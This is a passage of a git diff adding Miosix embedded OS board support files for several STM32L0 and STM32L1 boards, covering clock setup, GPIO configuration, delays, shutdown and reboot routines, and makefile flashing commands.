a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + SystemCoreClockUpdate(); + //Enable all gpios + RCC->IOPENR |= RCC_IOPENR_GPIOAEN | RCC_IOPENR_GPIOBEN | + RCC_IOPENR_GPIOCEN | RCC_IOPENR_GPIODEN | + RCC_IOPENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xffffffff; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xffffffff; + GPIOC->OSPEEDR=0xffffffff; + GPIOD->OSPEEDR=0xffffffff; + GPIOH->OSPEEDR=0xffffffff; + led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + //#ifdef WITH_FILESYSTEM + //basicFilesystemSetup(); + //#endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + //#ifdef WITH_FILESYSTEM + //FilesystemManager::instance().umountAll(); + //#endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + //#ifdef WITH_FILESYSTEM + //FilesystemManager::instance().umountAll(); + //#endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..8dee8cddc --- /dev/null +++ b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,68 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +using led = Gpio; + +inline void ledOn() +{ + led::high(); +} + +inline void ledOff() +{ + led::low(); +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/delays.cpp b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/delays.cpp new file mode 100644 index 000000000..302a08fd9 --- /dev/null +++ b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/delays.cpp @@ -0,0 +1,57 @@ +/*************************************************************************** + * Copyright (C) 2023 by Federico Terraneo * + * Copyright (C) 2023 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + for(unsigned int i=0;i target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32l053r8_nucleo/Makefile.inc b/miosix/arch/board/stm32l053r8_nucleo/Makefile.inc new file mode 100644 index 000000000..3d192a670 --- /dev/null +++ b/miosix/arch/board/stm32l053r8_nucleo/Makefile.inc @@ -0,0 +1,32 @@ +## +## Makefile for board stm32l053r8_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32l0 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/delays.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -DBOARD_STM32L053R8_NUCLEO +BOARD_CXXFLAGS := -DBOARD_STM32L053R8_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32l053r8_nucleo/boot.cpp b/miosix/arch/board/stm32l053r8_nucleo/boot.cpp new file mode 100644 index 000000000..891fbfd7a --- /dev/null +++ b/miosix/arch/board/stm32l053r8_nucleo/boot.cpp @@ -0,0 +1,88 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/arch_registers.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQsetupClockTree() +{ + static_assert(hseFrequency==8000000,"Unsupported HSE oscillator frequency"); + static_assert(cpuFrequency==32000000,"Unsupported target SYSCLK"); + + // Select MSI as system clock, which is already the default after reset. + // Unless it is reconfigured, it runs at 2MHz. + RCC->CFGR = (RCC->CFGR & (uint32_t)~RCC_CFGR_SW) | RCC_CFGR_SW_MSI; + while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_MSI) {} + + // Disable PLL + RCC->CR &= (uint32_t)~RCC_CR_PLLON; + while(RCC->CR & RCC_CR_PLLRDY) {} + + // Switch to voltage range 1 + // On voltage ranges 2 and 3 you can't change system clock frequency in + // larger steps than 4x! + PWR->CR = (PWR->CR & ~PWR_CR_VOS_Msk) | (1 << PWR_CR_VOS_Pos); + while(PWR->CSR & PWR_CSR_VOSF) {} + + // Set flash latency to 1 wait state + FLASH->ACR |= FLASH_ACR_LATENCY; + while((FLASH->ACR & FLASH_ACR_LATENCY) == 0) ; + + // Enable HSE + if(oscillatorType==OscillatorType::HSEBYP) RCC->CR |= RCC_CR_HSEBYP; + RCC->CR |= RCC_CR_HSEON; + while((RCC->CR & RCC_CR_HSERDY) == 0) ; + + // Set PLL multiplier to 12 (HSI is 8MHz, gives 96MHz) and divider by 3 + // 96MHz is needed for the 48MHz output to work correctly (it is hardcoded + // to divide by 2) + RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLMUL | RCC_CFGR_PLLDIV)) + | (RCC_CFGR_PLLMUL12 | RCC_CFGR_PLLDIV3); + // Set PLL source + RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLSRC)) | RCC_CFGR_PLLSRC_HSE; + // Enable PLL + RCC->CR |= RCC_CR_PLLON; + while ((RCC->CR & RCC_CR_PLLRDY) == 0) {} + + // Set PLL as system clock + RCC->CFGR |= RCC_CFGR_SW_PLL; + while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL) {} +} + +void IRQmemoryAndClockInit() +{ + // For L0 microcontrollers SystemInit is basically empty, + // but we call it anyway for good measure. + SystemInit(); + IRQsetupClockTree(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..5d9ca0058 --- /dev/null +++ b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32xxxx.h before core_xxx.h, there's some nasty dependency +#define STM32L053xx +#include "CMSIS/Device/ST/STM32L0xx/Include/stm32l0xx.h" +#include "CMSIS/Include/core_cm0plus.h" +#include "CMSIS/Device/ST/STM32L0xx/Include/system_stm32l0xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32l05x,l06x RCC synchronization is required per the device errata +//(ES0251 section 2.1.4). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 31, so there are 32 +#define MIOSIX_NUM_PERIPHERAL_IRQ 32 diff --git a/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..f3e54301a --- /dev/null +++ b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,117 @@ +/*************************************************************************** + * Copyright (C) 2018 by Silvano Seva * + * Copyright (C) 2023 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + SystemCoreClockUpdate(); + //Enable all gpios + RCC->IOPENR |= RCC_IOPENR_GPIOAEN | RCC_IOPENR_GPIOBEN | + RCC_IOPENR_GPIOCEN | RCC_IOPENR_GPIODEN | + RCC_IOPENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xffffffff; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xffffffff; + GPIOC->OSPEEDR=0xffffffff; + GPIOD->OSPEEDR=0xffffffff; + GPIOH->OSPEEDR=0xffffffff; + led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + //#ifdef WITH_FILESYSTEM + //basicFilesystemSetup(); + //#endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + //#ifdef WITH_FILESYSTEM + //FilesystemManager::instance().umountAll(); + //#endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + //#ifdef WITH_FILESYSTEM + //FilesystemManager::instance().umountAll(); + //#endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..8dee8cddc --- /dev/null +++ b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,68 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +using led = Gpio; + +inline void ledOn() +{ + led::high(); +} + +inline void ledOff() +{ + led::low(); +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/delays.cpp b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/delays.cpp new file mode 100644 index 000000000..f690f31c6 --- /dev/null +++ b/miosix/arch/board/stm32l053r8_nucleo/interfaces-impl/delays.cpp @@ -0,0 +1,56 @@ +/*************************************************************************** + * Copyright (C) 2023 by Federico Terraneo * + * Copyright (C) 2023 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + for(unsigned int i=0;i target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32l151c8_als_mainboard/Makefile.inc b/miosix/arch/board/stm32l151c8_als_mainboard/Makefile.inc new file mode 100644 index 000000000..019937729 --- /dev/null +++ b/miosix/arch/board/stm32l151c8_als_mainboard/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for board stm32l151c8_als_mainboard +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32l1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_ALS_MAINBOARD +BOARD_CXXFLAGS := -D_BOARD_ALS_MAINBOARD + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32l151c8_als_mainboard/boot.cpp b/miosix/arch/board/stm32l151c8_als_mainboard/boot.cpp new file mode 100644 index 000000000..fd29b7e2c --- /dev/null +++ b/miosix/arch/board/stm32l151c8_als_mainboard/boot.cpp @@ -0,0 +1,70 @@ +/*************************************************************************** + * Copyright (C) 2012 by Federico Terraneo * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/gpio.h" +#include "board_settings.h" + +//We want to run the ALS_MAINBOARD at a lower clock to save power +uint32_t SystemCoreClock=miosix::cpuFrequency; + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + static_assert(oscillatorType==OscillatorType::HSI, + "Unsupported oscillator type"); + static_assert(cpuFrequency==16000000,"Unsupported sysclk setting"); + FLASH->ACR |= FLASH_ACR_ACC64; + FLASH->ACR |= FLASH_ACR_PRFTEN; + + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + + /* Select the Voltage Range 1 (1.8 V) */ + PWR->CR = PWR_CR_VOS_0; + + /* Wait Until the Voltage Regulator is ready */ + while((PWR->CSR & PWR_CSR_VOSF) != RESET) + { + } + + //For low power reasons, this board runs off of the HSI 16MHz oscillator + RCC->CR |= RCC_CR_HSION; + //We should wait at least 6us for the HSI to stabilize. Therefore we wait + //8us. However, the current clock is 2MHz (MSI) instead of 16, so ... + delayUs(8*2/16); + RCC->CFGR = 0x00000001; //Select HSI + while((RCC->CFGR & 0xc)!=0x4) ; + RCC->CR &= ~RCC_CR_MSION; + /*!< Disable all interrupts */ + RCC->CIR = 0x00000000; +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..7495b9de5 --- /dev/null +++ b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32L151xB +#include "CMSIS/Device/ST/STM32L1xx/Include/stm32l1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32L1xx/Include/system_stm32l1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32l151,l152 RCC synchronization is required per the device errata +//(ES0224 section 2.2.4). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 44, so there are 45 +#define MIOSIX_NUM_PERIPHERAL_IRQ 45 diff --git a/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..41af0e714 --- /dev/null +++ b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/bsp.cpp @@ -0,0 +1,208 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all GPIOs + RCC->AHBENR |= RCC_AHBENR_GPIOAEN + | RCC_AHBENR_GPIOBEN + | RCC_AHBENR_GPIOCEN + | RCC_AHBENR_GPIOHEN; + RCC_SYNC(); + //Port config (H=high, L=low, PU=pullup, PD=pulldown) + // | PORTA | PORTB | PORTC | PORTH | + //--+--------------+-------------+---------+---------+ + // 0| IN | IN PD | - | IN PD | + // 1| IN PU | IN PD | - | IN PD | + // 2| IN | IN PD | - | - | + // 3| IN PD | IN PD | - | - | + // 4| OUT H 10MHz | IN PD | - | - | + // 5| AF5 10MHz | IN PD | - | - | + // 6| AF5 10MHz | IN PD | - | - | + // 7| AF5 10MHz | IN PD | - | - | + // 8| OUT L 10MHz | IN PD | - | - | + // 9| AF7 400KHz | IN PD | - | - | + //10| AF7PU 400KHz | IN PD | - | - | + //11| IN PD | OUT L 10MHz | - | - | + //12| IN PD | OUT L 10MHz | - | - | + //13| OUT L 400KHz | OUT L 10MHz | IN PD | - | + //14| OUT H 400KHz | OUT L 10MHz | AF0 | - | + //15| OUT L 400KHz | OUT L 10MHz | AF0 | - | + + //Quirk: If the write to RCC->AHBENR to enable gpio clock gating is + //immediately followed to a write to a GPIO register (in this case + //GPIOA->OSPEEDR), garbage is written into that register! + delayUs(1); + + GPIOA->OSPEEDR=0x0002aa00; + GPIOB->OSPEEDR=0xaa800000; + + GPIOA->MODER=0x5429a900; + GPIOB->MODER=0x55400000; + GPIOC->MODER=0xa0000000; + GPIOH->MODER=0x00000000; + + GPIOA->PUPDR=0x02900084; + GPIOB->PUPDR=0x002aaaaa; + GPIOC->PUPDR=0x08000000; + GPIOH->PUPDR=0x0000000a; + + GPIOA->ODR=0x00004010; + GPIOB->ODR=0x00000000; + + GPIOA->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 5<<20 | 5<<24 | 5<<28; + GPIOA->AFR[1]= 0 | 7<<4 | 7<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOB->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOB->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOC->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOC->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; + + + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + PWR->CR |= PWR_CR_DBP //Enable access to RTC registers + | PWR_CR_PLS_1 //Select 2.3V trigger point for low battery + | PWR_CR_PVDE //Enable low battery detection + | PWR_CR_LPSDSR; //Put regulator in low power when entering stop + RCC->CSR |= RCC_CSR_LSEON //External 32KHz oscillator enabled + | RCC_CSR_RTCEN //RTC enabled + | RCC_CSR_RTCSEL_0; //Select LSE as clock source for RTC + //These two values enable RTC write access + RTC->WPR=0xca; + RTC->WPR=0x53; + while((RCC->CSR & RCC_CSR_LSERDY)==0) ; //Wait + RCC->APB2ENR |= RCC_APB2ENR_SPI1EN; + SPI1->CR1=SPI_CR1_SSM //handle CS in software + | SPI_CR1_SSI //internal CS tied high + | SPI_CR1_SPE //SPI enabled (speed 8MHz) + | SPI_CR1_MSTR; //Master mode + + ledOn(); + delayMs(100); + ledOff(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ +// #ifdef WITH_FILESYSTEM +// basicFilesystemSetup(); +// #endif //WITH_FILESYSTEM +} + +static void spi1send(unsigned char data) +{ + SPI1->DR=data; + while((SPI1->SR & SPI_SR_RXNE)==0) ; //Wait +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + + //Put outputs in low power mode + led::low(); + hpled::high(); + sen::low(); + + //Put cam in low power mode + cam::en::low(); + cam::cs::mode(Mode::INPUT_PULL_DOWN); + cam::sck::mode(Mode::INPUT_PULL_DOWN); + cam::miso::mode(Mode::INPUT_PULL_DOWN); + cam::mosi::mode(Mode::INPUT_PULL_DOWN); + + //Put nrf in low power mode + nrf::ce::low(); + nrf::cs::low(); + spi1send(0x20 | 0); //Write to reg 0 + spi1send(0x8); //PWR_UP=0 + nrf::cs::high(); + nrf::miso::mode(Mode::INPUT_PULL_DOWN); //nrf miso goes tristate if cs high + + EXTI->IMR=0; //All IRQs masked + EXTI->PR=0x7fffff; //Clear eventual pending request + SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode + __WFI(); //And it goes to sleep till a reset + //Should never reach here + IRQsystemReboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/bsp_impl.h 